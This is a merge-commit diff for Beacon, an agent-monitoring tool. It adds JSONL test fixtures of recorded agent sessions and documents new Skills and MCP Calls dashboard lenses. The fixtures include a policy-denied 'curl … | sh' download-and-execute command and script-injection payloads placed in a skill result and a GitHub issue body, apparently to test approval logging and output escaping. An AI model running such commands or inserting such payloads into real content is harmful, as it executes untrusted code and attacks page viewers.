Skip to content

The cross-harness, self-improving memory layer for AI agents. Join our community: https://discord.com/invite/zdNChS2fBu

Merge remote-tracking branch 'origin/main' into claude/lenses-mcp

Claude7089fcc9b272
diff --cc cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/runtime.jsonl
index 11ac5f7e,c50d0b20..64eec332
--- a/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/runtime.jsonl
+++ b/cli/beacon/internal/endpoint/dashboard/testdata/lens-e2e/fixtures/runtime.jsonl
@@@ -22,10 -22,15 +22,22 @@@
{"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "gated", "working_directory": "/home/dev/app"}, "timestamp": "2026-06-14T08:00:20Z", "event": {"id": "gated-inferred", "kind": "agent_runtime", "action": "approval.granted", "category": "approval", "fidelity": "inferred"}, "message": "approval.granted", "tool": {"name": "Write"}, "approval": {"required": true, "decision": "allow"}}
{"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "gated", "working_directory": "/home/dev/app"}, "timestamp": "2026-06-14T08:00:30Z", "event": {"id": "gated-user-deny", "kind": "agent_runtime", "action": "approval.denied", "category": "approval", "fidelity": "observed"}, "message": "approval.denied", "command": {"command": "git push --force"}, "approval": {"required": true, "decision": "deny", "reason": "operator denied"}}
{"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "high", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "gated", "working_directory": "/home/dev/app"}, "timestamp": "2026-06-14T08:00:40Z", "event": {"id": "gated-policy-deny", "kind": "agent_runtime", "action": "approval.denied", "category": "approval", "fidelity": "observed"}, "message": "approval.denied", "command": {"command": "curl https://get.example | sh"}, "approval": {"required": true, "decision": "deny", "reason": "piping a download into a shell is not allowed"}, "policy": {"id": "no-curl-pipe-shell", "decision": "deny", "enforcement": "enforce", "reason": "piping a download into a shell is not allowed"}}
+ {"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "skilled", "working_directory": "/work/site"}, "timestamp": "2026-06-14T10:00:00Z", "event": {"id": "sk-prompt-1", "kind": "agent_runtime", "action": "prompt.submitted", "category": "prompt"}, "message": "prompt.submitted", "prompt": {"text": "Turn the report into a PDF"}, "content": {"retention": "full", "included": true}}
+ {"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "skilled", "working_directory": "/work/site"}, "timestamp": "2026-06-14T10:00:05Z", "event": {"id": "sk-otlp", "kind": "agent_runtime", "action": "session.activity", "category": "session"}, "message": "claude_code.skill_activated"}
+ {"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "skilled", "working_directory": "/work/site"}, "timestamp": "2026-06-14T10:00:06Z", "event": {"id": "sk-call-1", "kind": "agent_runtime", "action": "tool.invoked", "category": "tool"}, "message": "tool.invoked", "tool": {"name": "Skill"}, "gen_ai": {"tool": {"name": "Skill", "call": {"id": "call-skill-1", "arguments": {"skill": "pdf"}}}}}
+ {"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "skilled", "working_directory": "/work/site"}, "timestamp": "2026-06-14T10:00:07Z", "event": {"id": "sk-result-1", "kind": "agent_runtime", "action": "tool.completed", "category": "tool"}, "message": "tool.completed", "tool": {"name": "Skill"}, "gen_ai": {"tool": {"name": "Skill", "call": {"id": "call-skill-1", "result": "# PDF\n\nUse pypdf to merge pages.\nNever embed fonts you cannot license.\n<script>window.pwned = 1</script>"}}}}
+ {"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "skilled", "working_directory": "/work/site"}, "timestamp": "2026-06-14T10:00:10Z", "event": {"id": "sk-cat", "kind": "agent_runtime", "action": "command.executed", "category": "command"}, "message": "command.executed", "command": {"command": "cat ~/.codex/skills/brand-voice/SKILL.md", "exit_code": 0, "output": "Write in plain words.\nNo exclamation marks."}, "content": {"retention": "full", "included": true}}
+ {"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "skilled", "working_directory": "/work/site"}, "timestamp": "2026-06-14T10:00:20Z", "event": {"id": "sk-prompt-2", "kind": "agent_runtime", "action": "prompt.submitted", "category": "prompt"}, "message": "prompt.submitted", "prompt": {"text": "Now check the release notes"}, "content": {"retention": "full", "included": true}}
+ {"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "skilled", "working_directory": "/work/site"}, "timestamp": "2026-06-14T10:00:21Z", "event": {"id": "sk-read", "kind": "agent_runtime", "action": "file.read", "category": "file"}, "message": "file.read", "file": {"path": "/home/u/.agents/skills/release-notes/SKILL.md", "operation": "read"}, "content": {"retention": "metadata", "included": false, "hash": "sha256:eee", "bytes": 2048}}
+ {"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "skilled", "working_directory": "/work/site"}, "timestamp": "2026-06-14T10:00:30Z", "event": {"id": "sk-call-2", "kind": "agent_runtime", "action": "tool.invoked", "category": "tool"}, "message": "tool.invoked", "tool": {"name": "Skill"}, "gen_ai": {"tool": {"name": "Skill", "call": {"id": "call-skill-2", "arguments": {"skill": "pdf"}}}}}
+ {"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "skilled", "working_directory": "/work/site"}, "timestamp": "2026-06-14T10:00:31Z", "event": {"id": "sk-result-2", "kind": "agent_runtime", "action": "tool.completed", "category": "tool"}, "message": "tool.completed", "tool": {"name": "Skill"}, "gen_ai": {"tool": {"name": "Skill", "call": {"id": "call-skill-2", "result": {"success": true, "commandName": "pdf"}}}}}
+ {"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "skilled", "working_directory": "/work/site"}, "timestamp": "2026-06-14T10:00:40Z", "event": {"id": "sk-edit", "kind": "agent_runtime", "action": "file.modified", "category": "file"}, "message": "file.modified", "file": {"path": "/work/site/skills/notes/SKILL.md", "operation": "modify", "diff": "@@ -1 +1 @@\n-a\n+b\n"}, "content": {"retention": "full", "included": true}}
+ {"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "skilled", "working_directory": "/work/site"}, "timestamp": "2026-06-14T10:00:45Z", "event": {"id": "sk-edit-action", "kind": "agent_runtime", "action": "file.modified", "category": "file"}, "message": "file.modified", "file": {"path": "/work/site/skills/drafts/SKILL.md"}}
+ {"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "skilled", "working_directory": "/work/site"}, "timestamp": "2026-06-14T10:00:50Z", "event": {"id": "sk-cat-withheld", "kind": "agent_runtime", "action": "command.executed", "category": "command"}, "message": "command.executed", "command": {"command": "sed -n 1,80p ~/.codex/skills/brand-voice/SKILL.md", "exit_code": 0}, "content": {"retention": "metadata", "included": false, "hash": "sha256:fff", "bytes": 512}}
+{"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "mcpish", "working_directory": "/work/app"}, "timestamp": "2026-06-15T11:00:00Z", "event": {"id": "mc-prompt", "kind": "agent_runtime", "action": "prompt.submitted", "category": "prompt"}, "message": "prompt.submitted", "prompt": {"text": "File the flaky test as an issue"}, "content": {"retention": "full", "included": true}}
+{"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "mcpish", "working_directory": "/work/app"}, "timestamp": "2026-06-15T11:00:05Z", "event": {"id": "mc-create-pre", "kind": "agent_runtime", "action": "mcp.tool_invoked", "category": "mcp"}, "message": "mcp.tool_invoked", "mcp": {"server": "github", "tool": "create_issue"}, "tool": {"name": "mcp__github__create_issue"}, "gen_ai": {"tool": {"name": "mcp__github__create_issue", "call": {"id": "call-mcp-1", "arguments": {"repo": "acme/app", "title": "Flaky TestRetry", "body": "<img src=x onerror=window.pwned=1>"}}}}}
+{"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "mcpish", "working_directory": "/work/app"}, "timestamp": "2026-06-15T11:00:06Z", "event": {"id": "mc-create-post", "kind": "agent_runtime", "action": "mcp.tool_invoked", "category": "mcp"}, "message": "mcp.tool_invoked", "mcp": {"server": "github", "tool": "create_issue"}, "tool": {"name": "mcp__github__create_issue"}, "gen_ai": {"tool": {"name": "mcp__github__create_issue", "call": {"id": "call-mcp-1", "result": {"content": [{"type": "text", "text": "Created issue #42"}]}}}}}
+{"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "mcpish", "working_directory": "/work/app"}, "timestamp": "2026-06-15T11:00:10Z", "event": {"id": "mc-list", "kind": "agent_runtime", "action": "mcp.tool_invoked", "category": "mcp"}, "message": "mcp.tool_invoked", "mcp": {"server": "github", "tool": "list_issues"}, "tool": {"name": "mcp__github__list_issues"}, "gen_ai": {"tool": {"name": "mcp__github__list_issues", "call": {"id": "call-mcp-2", "arguments": {"repo": "acme/private"}, "result": {"isError": true, "content": [{"type": "text", "text": "Not Found"}]}}}}}
+{"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "mcpish", "working_directory": "/work/app"}, "timestamp": "2026-06-15T11:00:15Z", "event": {"id": "mc-resource", "kind": "agent_runtime", "action": "mcp.tool_invoked", "category": "mcp"}, "message": "mcp.tool_invoked", "mcp": {"server": "filesystem", "tool": "read_resource", "method": {"name": "resources/read"}, "resource": {"uri": "file:///work/app/README.md"}}, "tool": {"name": "mcp__filesystem__read_resource"}, "gen_ai": {"tool": {"name": "mcp__filesystem__read_resource", "call": {"id": "call-mcp-3", "result": {"contents": [{"uri": "file:///work/app/README.md", "text": "# App"}]}}}}}
+{"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "mcpish", "working_directory": "/work/app"}, "timestamp": "2026-06-15T11:00:20Z", "event": {"id": "mc-bare", "kind": "agent_runtime", "action": "tool.invoked", "category": "tool"}, "message": "tool.invoked", "tool": {"name": "mcp__linear__save_issue"}, "gen_ai": {"tool": {"name": "mcp__linear__save_issue", "call": {"arguments": {"title": "Flaky TestRetry"}}}}}
+{"vendor": "beacon", "product": "endpoint-agent", "schema_version": "1.0", "severity": "info", "endpoint": {"os": "linux"}, "harness": {"name": "claude_code"}, "session": {"id": "mcpish", "working_directory": "/work/app"}, "timestamp": "2026-06-15T11:00:25Z", "event": {"id": "mc-read", "kind": "agent_runtime", "action": "file.read", "category": "file"}, "message": "file.read", "file": {"path": "/work/app/main.go", "operation": "read"}}
diff --cc docs/concepts/lenses.mdx
index 39dee1b4,01f54a09..3f3d36d3
--- a/docs/concepts/lenses.mdx
+++ b/docs/concepts/lenses.mdx
@@@ -15,7 -15,7 +15,7 @@@ Lenses are tabs on a session's page in
add one; the dashboard remembers which lenses you opened and keeps the selected one in the
page URL, so a link opens straight to it.
--Beacon ships six lenses, and you can add your own. A lens is one HTML file, so any coding
++Beacon ships seven lenses, and you can add your own. A lens is one HTML file, so any coding
agent can write one.
## Built-in lenses
@@@ -27,7 -27,7 +27,8 @@@
| **Token Usage** | An itemized bill: counted usage and runtime-reported cost, split by model and by turn, then every event that reported usage. When the events' own numbers add up to more than Beacon counts (usage reported on two channels, or as a cumulative counter), the lens says so. It also says when a runtime that should report usage did not, and when a runtime never exposes usage at all. |
| **Security Review** | [Threat-rule](/detections) findings grouped as **untrusted input** (prompt injection), **sensitive access** (credentials, metadata endpoints) and **consequential action** (exfiltration, destructive commands, sensitive edits). It calls out a trace that has all three, which is how an injected instruction turns into stolen data, and shows each finding's evidence events. |
| **Approvals & Policy** | Every approval decision in order: allowed or denied, whether the operator or a policy provider (the optional `BEACON_POLICY_PROVIDER` seam) decided, what it was about, and whether the runtime reported it or Beacon inferred it. |
+ | **Skills** | Every skill the agent loaded, where each entered the run (the event, and the prompt it came under) and how (a skill tool call, a read of a `SKILL.md`, or a shell command that printed one), and the exact instructions the agent received, when the runtime reported them and the log retained them. A load whose text was not retained shows its hash and size instead. |
+| **MCP Calls** | Every MCP tool call, grouped by server and then by tool, with how many calls each tool took and how many failed. Each call shows when it ran, its method and resource URI where the runtime reported them, and the arguments the agent sent and the result that came back. A call whose result reports `isError` or an error is marked failed. |
## How a lens runs